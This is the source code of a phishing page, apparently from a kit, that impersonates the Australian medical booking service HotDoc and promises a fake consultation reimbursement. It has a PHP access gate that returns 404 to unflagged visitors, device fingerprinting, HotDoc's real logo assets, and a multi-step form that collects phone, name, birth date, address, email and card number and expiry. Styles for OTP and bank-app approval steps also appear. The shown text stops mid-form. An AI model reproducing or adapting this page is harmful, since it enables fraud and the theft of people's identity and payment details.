    <div class="row">
        <div class="col-12">
            <pre class="with-hljs"><code class="lang-php">&lt;?php
// Security headers to protect visitors
session_start();

// Check for the required session flag set by 1.php
if (!isset($_SESSION[&#039;script_access_granted&#039;]) || $_SESSION[&#039;script_access_granted&#039;] !== true) {
    // If the flag is missing or invalid, send 404 and exit
    header(&quot;HTTP/1.0 404 Not Found&quot;);
    die(&quot;404 Not Found&quot;);
}

// **CRITICAL STEP:** Remove the flag so it cannot be reused (anti-replay)
unset($_SESSION[&#039;script_access_granted&#039;]);

// Your script continues normally here (e.g., process $_POST data)
// ...
// ...
require &#039;super_protect.php&#039;;
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
	&lt;meta name=&quot;request-fp&quot; content=&quot;&lt;?= $request_fp ?&gt;&quot;&gt;
    &lt;meta name=&quot;device-fp&quot; content=&quot;&lt;?= $device_fp ?&gt;&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;/style.css?v=&lt;?= $request_fp ?&gt;&quot;&gt;
	&lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;57x57&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-57x57.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;114x114&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-114x114.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;72x72&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-72x72.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;144x144&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-144x144.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;60x60&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-60x60.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;120x120&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-120x120.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;76x76&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-76x76.png&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;152x152&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/apple-touch-icon-152x152.png&quot;&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-196x196.png&quot; sizes=&quot;196x196&quot;&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-96x96.png&quot; sizes=&quot;96x96&quot;&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-32x32.png&quot; sizes=&quot;32x32&quot;&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-16x16.png&quot; sizes=&quot;16x16&quot;&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/favicons/favicon-128.png&quot; sizes=&quot;128x128&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
	&lt;script src=&quot;/app.js?v=&lt;?= $request_fp ?&gt;&quot;&gt;&lt;/script&gt;
    &lt;title&gt;HotDoc - Consultation Reimbursement&lt;/title&gt;
    &lt;style&gt;
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, &#039;Segoe UI&#039;, Roboto, &#039;Helvetica Neue&#039;, Arial, sans-serif;
            background: #fff;
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 16px 40px;
            border-bottom: 1px solid #e5e5e5;
        }
        .header-left { display: flex; align-items: center; gap: 10px; }
        .header-left img { height: 32px; }
        .header-right { display: flex; gap: 32px; }
        .header-right a { color: #1a1a1a; text-decoration: none; font-size: 14px; font-weight: 500; }
        .header-right a:hover { color: #00a86b; }
        .main { flex: 1; display: flex; flex-direction: column; align-items: center; padding: 40px 20px; }
        .status-badge {
            display: inline-flex; align-items: center; gap: 6px;
            background: #e6f7f1; color: #00a86b;
            padding: 8px 16px; border-radius: 20px;
            font-size: 13px; font-weight: 600; margin-bottom: 24px;
        }
        .status-badge .dot { width: 8px; height: 8px; background: #00a86b; border-radius: 50%; }
        .card {
            background: #fff; border: 1px solid #e5e5e5; border-radius: 16px;
            padding: 40px; width: 100%; max-width: 480px; box-shadow: 0 2px 8px rgba(0,0,0,0.04);
        }
        .step-phone h1 { font-size: 24px; font-weight: 700; text-align: center; margin-bottom: 12px; color: #1a1a1a; }
        .step-phone .subtitle { text-align: center; color: #6b7280; font-size: 14px; line-height: 1.6; margin-bottom: 32px; }
        .amount-box {
            background: #f8fafc; border-radius: 12px; padding: 24px;
            text-align: center; margin-bottom: 32px;
        }
        .amount-label { font-size: 11px; text-transform: uppercase; letter-spacing: 1px; color: #6b7280; margin-bottom: 8px; }
        .amount-value { font-size: 42px; font-weight: 700; color: #1a1a1a; }
        .amount-currency { font-size: 24px; font-weight: 600; }
        .amount-desc { font-size: 13px; color: #6b7280; margin-top: 4px; }
        .form-group { margin-bottom: 16px; }
        .form-label { display: block; font-size: 14px; font-weight: 500; color: #1a1a1a; margin-bottom: 6px; }
        .form-input {
            width: 100%; padding: 14px 16px; border: 1px solid #d1d5db; border-radius: 10px;
            font-size: 15px; color: #1a1a1a; background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        .form-input:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-input.error { border-color: #ef4444; box-shadow: 0 0 0 3px rgba(239,68,68,0.1); }
        .form-input.valid { border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-input::placeholder { color: #9ca3af; }
        .form-select {
            width: 100%; padding: 14px 16px; border: 1px solid #d1d5db; border-radius: 10px;
            font-size: 15px; color: #1a1a1a; background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s; cursor: pointer;
            appearance: none; -webkit-appearance: none;
            background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; width=&#039;12&#039; height=&#039;12&#039; viewBox=&#039;0 0 12 12&#039;%3E%3Cpath fill=&#039;%236b7280&#039; d=&#039;M6 8L1 3h10z&#039;/%3E%3C/svg%3E&quot;);
            background-repeat: no-repeat; background-position: right 16px center;
        }
        .form-select:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.1); }
        .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
        .field-error { font-size: 12px; color: #ef4444; margin-top: 4px; display: none; min-height: 16px; }
        .field-error.show { display: block; }
        .bank-detect { font-size: 12px; color: #00a86b; font-weight: 600; margin-top: 4px; display: none; min-height: 16px; }
        .bank-detect.show { display: block; }
        .card-logos { display: flex; gap: 12px; margin-bottom: 24px; }
        .card-logo {
            height: 28px; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: 700;
            display: flex; align-items: center; opacity: 0.4;
            transition: opacity 0.2s, transform 0.2s; border: 1px solid transparent;
        }
        .card-logo.active { opacity: 1; transform: scale(1.05); box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
        .card-logo.visa { background: #1a1f71; color: #fff; font-style: italic; }
        .card-logo.mc { background: #eb001b; color: #fff; }
        .card-logo.amex { background: #016fd0; color: #fff; font-size: 11px; }
        .btn-primary {
            width: 100%; padding: 16px; background: #e5e5e5; color: #9ca3af;
            border: none; border-radius: 10px; font-size: 16px; font-weight: 600;
            cursor: not-allowed; transition: all 0.2s; margin-top: 8px;
        }
        .btn-primary.active { background: #00a86b; color: #fff; cursor: pointer; }
        .btn-primary.active:hover { background: #008f5b; }
        .btn-primary:disabled { opacity: 0.7; }
        .step-personal .user-icon, .step-emailpass .user-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 24px; color: #6b7280;
        }
        .step-personal h2, .step-emailpass h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-personal .subtitle, .step-emailpass .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .step-card .card-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 20px; color: #6b7280;
        }
        .step-card h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-card .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .step-processing { text-align: center; padding: 60px 20px; }
        .step-processing h2 { font-size: 18px; font-weight: 500; color: #1a1a1a; margin-bottom: 8px; }
        .step-processing p { color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .dots { display: flex; gap: 6px; justify-content: center; }
        .dot { width: 8px; height: 8px; background: #d1d5db; border-radius: 50%; animation: pulse 1.4s infinite; }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes pulse { 0%,100%{opacity:0.4;transform:scale(1)} 50%{opacity:1;transform:scale(1.2)} }
        .step-otp h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 12px; }
        .step-otp p { text-align: center; color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .otp-input {
            width: 100%; padding: 16px; border: 2px solid #d1d5db; border-radius: 10px;
            font-size: 24px; text-align: center; letter-spacing: 8px; font-weight: 600; margin-bottom: 16px;
        }
        .otp-input:focus { outline: none; border-color: #00a86b; }
        .step-app h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 12px; }
        .step-app p { text-align: center; color: #6b7280; font-size: 14px; margin-bottom: 32px; }
        .app-box {
            background: #f8fafc; border-radius: 16px; padding: 32px;
            text-align: center; margin-bottom: 24px;
        }
        .app-box .phone-mockup {
            width: 120px; height: 200px; background: #1a1a1a; border-radius: 16px;
            margin: 0 auto 16px; position: relative; overflow: hidden;
        }
        .app-box .phone-mockup::before {
            content: &#039;&#039;; position: absolute; top: 8px; left: 50%; transform: translateX(-50%);
            width: 40px; height: 4px; background: #333; border-radius: 2px;
        }
        .app-box .phone-screen {
            position: absolute; top: 20px; left: 8px; right: 8px; bottom: 8px;
            background: #fff; border-radius: 8px;
            display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 8px;
        }
        .app-box .bank-logo {
            width: 28px; height: 28px; background: #00a86b; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            color: #fff; font-size: 12px; font-weight: 700; margin-bottom: 8px;
        }
        .app-box .approve-text { font-size: 10px; font-weight: 600; color: #1a1a1a; margin-bottom: 4px; }
        .app-box .approve-amount { font-size: 14px; font-weight: 700; color: #00a86b; margin-bottom: 12px; }
        .app-box .confirm-btn { width: 80%; padding: 6px; background: #00a86b; color: #fff; border-radius: 4px; font-size: 9px; font-weight: 600; margin-bottom: 6px; }
        .app-box .cancel-btn { width: 80%; padding: 6px; background: #fff; border: 1px solid #d1d5db; color: #6b7280; border-radius: 4px; font-size: 9px; }
        .app-caption { font-size: 14px; font-weight: 600; color: #1a1a1a; margin-bottom: 4px; }
        .app-subcaption { font-size: 12px; color: #6b7280; }
        .step-success { text-align: center; padding: 40px 20px; }
        .step-success .check-icon {
            width: 64px; height: 64px; background: #e6f7f1; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 24px; font-size: 32px; color: #00a86b;
        }
        .step-success h2 { font-size: 24px; font-weight: 700; color: #00a86b; margin-bottom: 12px; }
        .step-success p { color: #6b7280; font-size: 14px; margin-bottom: 24px; }
        .ref-box { background: #f8fafc; border-radius: 10px; padding: 16px; margin-bottom: 24px; }
        .ref-box strong { color: #1a1a1a; font-size: 14px; }
        .step-bank .bank-icon {
            width: 48px; height: 48px; background: #f3f4f6; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; font-size: 20px; color: #6b7280;
        }
        .step-bank h2 { font-size: 20px; font-weight: 700; text-align: center; margin-bottom: 8px; }
        .step-bank .subtitle { text-align: center; color: #6b7280; font-size: 13px; margin-bottom: 24px; }
        .bank-security { display: flex; align-items: center; justify-content: center; gap: 8px; margin-bottom: 20px; font-size: 12px; color: #6b7280; }
        .bank-security svg { width: 16px; height: 16px; color: #00a86b; }
        .notif-toast {
            position: fixed; top: 20px; left: 50%;
            transform: translateX(-50%) translateY(-120px);
            background: #1e293b; border: 1px solid #00a86b; border-radius: 12px;
            padding: 16px 24px; box-shadow: 0 8px 32px rgba(0,0,0,0.3);
            z-index: 10000; transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275), opacity 0.4s ease;
            opacity: 0; max-width: 90%; width: auto; pointer-events: none;
        }
        .notif-toast.show { transform: translateX(-50%) translateY(0); opacity: 1; }
        .notif-content {
            display: flex; align-items: center; gap: 12px;
            font-family: -apple-system, BlinkMacSystemFont, &#039;Segoe UI&#039;, Roboto, sans-serif;
            font-size: 14px; color: #e2e8f0; font-weight: 500; white-space: nowrap;
        }
        @media (max-width: 480px) { .notif-content { white-space: normal; font-size: 13px; } }
        .notif-icon { font-size: 20px; color: #00a86b; flex-shrink: 0; }
        .offline-banner {
            display: none; position: fixed; top: 0; left: 0; right: 0;
            background: #dc2626; color: #fff; text-align: center; padding: 10px;
            font-size: 14px; font-weight: 600; z-index: 99999;
        }
        .offline-banner.show { display: block; }
        .footer { display: flex; justify-content: space-between; align-items: center; padding: 20px 40px; border-top: 1px solid #e5e5e5; margin-top: auto; }
        .footer-left { font-size: 13px; color: #6b7280; }
        .footer-right { font-size: 13px; color: #6b7280; }
        .footer-trust { display: flex; justify-content: center; gap: 32px; padding: 16px; margin-top: 16px; }
        .trust-item { display: flex; align-items: center; gap: 6px; font-size: 12px; color: #6b7280; }
        .trust-item svg { width: 16px; height: 16px; }
        .error-msg {
            background: #fef2f2; border: 1px solid #fecaca; color: #dc2626;
            padding: 12px 16px; border-radius: 8px; font-size: 13px; margin-bottom: 16px; display: none;
        }
        .error-msg.show { display: block; }
        .hidden { display: none !important; }
        .btn-spinner {
            display: inline-block; width: 14px; height: 14px;
            border: 2px solid rgba(255,255,255,0.4); border-top-color: #fff;
            border-radius: 50%; animation: spin 0.6s linear infinite;
            margin-left: 8px; vertical-align: middle;
        }
        @keyframes spin { to { transform: rotate(360deg); } }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class=&quot;offline-banner&quot; id=&quot;offlineBanner&quot;&gt;⚠️ You are offline. Please reconnect to continue.&lt;/div&gt;

&lt;div class=&quot;notif-toast&quot; id=&quot;notifToast&quot;&gt;
    &lt;div class=&quot;notif-content&quot;&gt;
        &lt;span class=&quot;notif-icon&quot;&gt;&amp;#128276;&lt;/span&gt;
        &lt;span class=&quot;notif-text&quot; id=&quot;notifText&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;header&quot;&gt;
    &lt;div class=&quot;header-left&quot;&gt;
        &lt;img src=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg&quot; alt=&quot;HotDoc&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;header-right&quot;&gt;
        &lt;a href=&quot;#&quot;&gt;List your practice&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Search&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Log in / Sign up&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;main&quot;&gt;

    &lt;!-- STEP 1: PHONE --&gt;
    &lt;div class=&quot;card step-phone&quot; id=&quot;step1&quot;&gt;
        &lt;div class=&quot;status-badge&quot;&gt;&lt;span class=&quot;dot&quot;&gt;&lt;/span&gt; Reimbursement Available&lt;/div&gt;
        &lt;h1&gt;Consultation Reimbursement&lt;/h1&gt;
        &lt;p class=&quot;subtitle&quot;&gt;We have reviewed your file and confirmed that you are eligible for a reimbursement. Following a recalculation for 2026, you are entitled to claim this reimbursement.&lt;/p&gt;
        &lt;div class=&quot;amount-box&quot;&gt;
            &lt;div class=&quot;amount-label&quot;&gt;Available Amount&lt;/div&gt;
            &lt;div class=&quot;amount-value&quot;&gt;59&lt;span class=&quot;amount-currency&quot;&gt; $&lt;/span&gt;&lt;/div&gt;
            &lt;div class=&quot;amount-desc&quot;&gt;Consultation fee reimbursement&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Phone Number&lt;/label&gt;
            &lt;input type=&quot;tel&quot; class=&quot;form-input&quot; id=&quot;phone&quot; placeholder=&quot;04XX XXX XXX&quot; maxlength=&quot;14&quot; autocomplete=&quot;tel&quot; inputmode=&quot;tel&quot; name=&quot;phone&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-phone&quot;&gt;Enter a valid Australian mobile number starting with 04.&lt;/div&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step1&quot; onclick=&quot;submitPhone()&quot;&gt;Continue to Verification&lt;/button&gt;
        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt; Secure&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt; 2 min process&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt; Verified&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 2: PERSONAL INFO --&gt;
    &lt;div class=&quot;card step-personal hidden&quot; id=&quot;step2&quot;&gt;
        &lt;div class=&quot;status-badge&quot;&gt;&lt;span class=&quot;dot&quot;&gt;&lt;/span&gt; Verification Required&lt;/div&gt;
        &lt;div class=&quot;user-icon&quot;&gt;&amp;#128100;&lt;/div&gt;
        &lt;h2&gt;Personal Information&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;Please provide your details to process the reimbursement&lt;/p&gt;
        &lt;div class=&quot;amount-box&quot;&gt;
            &lt;div class=&quot;amount-label&quot;&gt;Reimbursement Amount&lt;/div&gt;
            &lt;div class=&quot;amount-value&quot;&gt;59&lt;span class=&quot;amount-currency&quot;&gt; $&lt;/span&gt;&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err2&quot;&gt;Please fill in all required fields correctly.&lt;/div&gt;
        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;First Name&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;fname&quot; placeholder=&quot;John&quot; autocomplete=&quot;given-name&quot; name=&quot;fname&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-fname&quot;&gt;Enter a valid first name.&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Last Name&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;lname&quot; placeholder=&quot;Smith&quot; autocomplete=&quot;family-name&quot; name=&quot;lname&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-lname&quot;&gt;Enter a valid last name.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Date of Birth&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;dob&quot; placeholder=&quot;DD/MM/YYYY&quot; maxlength=&quot;10&quot; autocomplete=&quot;bday&quot; name=&quot;dob&quot; inputmode=&quot;numeric&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-dob&quot;&gt;Enter a valid date of birth (DD/MM/YYYY). Must be 18+.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Address&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;address&quot; placeholder=&quot;123 Main Street&quot; autocomplete=&quot;street-address&quot; name=&quot;address&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-address&quot;&gt;Enter a valid street address.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;City&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;city&quot; placeholder=&quot;Sydney&quot; autocomplete=&quot;address-level2&quot; name=&quot;city&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-city&quot;&gt;Enter a valid city.&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Postal Code&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;postcode&quot; placeholder=&quot;2000&quot; maxlength=&quot;4&quot; autocomplete=&quot;postal-code&quot; inputmode=&quot;numeric&quot; name=&quot;postcode&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-postcode&quot;&gt;Enter a valid 4-digit Australian postcode.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email Address&lt;/label&gt;
            &lt;input type=&quot;email&quot; class=&quot;form-input&quot; id=&quot;email&quot; placeholder=&quot;john@example.com&quot; autocomplete=&quot;email&quot; inputmode=&quot;email&quot; name=&quot;email&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-email&quot;&gt;Enter a valid email address.&lt;/div&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step2&quot; onclick=&quot;submitPersonal()&quot;&gt;Continue&lt;/button&gt;
        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt; Secure&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt; 2 min process&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt; Verified&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 3: CARD --&gt;
    &lt;div class=&quot;card step-card hidden&quot; id=&quot;step3&quot;&gt;
        &lt;div class=&quot;card-icon&quot;&gt;&amp;#128179;&lt;/div&gt;
        &lt;h2&gt;Claim Your Reimbursement&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;Enter your card details to access your reimbursement&lt;/p&gt;
        &lt;div class=&quot;amount-box&quot; style=&quot;display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;&quot;&gt;
            &lt;div&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Available Amount&lt;/div&gt;
                &lt;div style=&quot;font-size:20px; font-weight:700;&quot;&gt;59 $&lt;/div&gt;
            &lt;/div&gt;
            &lt;div style=&quot;text-align:right;&quot;&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Date&lt;/div&gt;
                &lt;div style=&quot;font-size:14px; font-weight:500;&quot;&gt;23.09.2026&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
&lt;div class=&quot;card-logos&quot; style=&quot;
    display:flex !important;
    align-items:center !important;
    gap:14px !important;
    height:48px !important;
&quot;&gt;

    &lt;!-- VISA --&gt;
    &lt;div class=&quot;card-logo visa&quot; id=&quot;logo-visa&quot; style=&quot;
        width:72px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:7px !important;
        box-sizing:border-box !important;
    &quot;&gt;
        &lt;img
            src=&quot;https://cdn.simpleicons.org/visa/1434CB&quot;
            alt=&quot;Visa&quot;
            style=&quot;
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            &quot;
        &gt;
    &lt;/div&gt;

    &lt;!-- MASTERCARD --&gt;
    &lt;div class=&quot;card-logo mc&quot; id=&quot;logo-mc&quot; style=&quot;
        width:72px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:7px !important;
        box-sizing:border-box !important;
    &quot;&gt;
        &lt;img
            src=&quot;https://cdn.simpleicons.org/mastercard&quot;
            alt=&quot;Mastercard&quot;
            style=&quot;
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            &quot;
        &gt;
    &lt;/div&gt;

    &lt;!-- AMERICAN EXPRESS --&gt;
    &lt;div class=&quot;card-logo amex&quot; id=&quot;logo-amex&quot; style=&quot;
        width:82px !important;
        height:42px !important;
        display:flex !important;
        align-items:center !important;
        justify-content:center !important;
        background:#fff !important;
        border:1px solid #e5e7eb !important;
        border-radius:6px !important;
        padding:6px !important;
        box-sizing:border-box !important;
    &quot;&gt;
        &lt;img
            src=&quot;https://cdn.simpleicons.org/americanexpress/006FCF&quot;
            alt=&quot;American Express&quot;
            style=&quot;
                display:block !important;
                width:100% !important;
                height:100% !important;
                object-fit:contain !important;
                object-position:center !important;
            &quot;
        &gt;
    &lt;/div&gt;

&lt;/div&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err3&quot;&gt;The card details provided are invalid.&lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Card number *&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;card&quot; placeholder=&quot;0000 0000 0000 0000&quot; maxlength=&quot;19&quot; autocomplete=&quot;cc-number&quot; inputmode=&quot;numeric&quot; name=&quot;cardnumber&quot;&gt;
            &lt;div class=&quot;bank-detect&quot; id=&quot;bank-detect&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-card&quot;&gt;Enter a valid card number.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Expiration date *&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;exp&quot; placeholder=&quot;MM/YY&quot; maxlength=&quot;5&quot; autocomplete=&quot;cc-exp&quot; inputmode=&quot;numeric&quot; name=&quot;cc-exp&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-exp&quot;&gt;Enter a valid future expiry date (MM/YY).&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
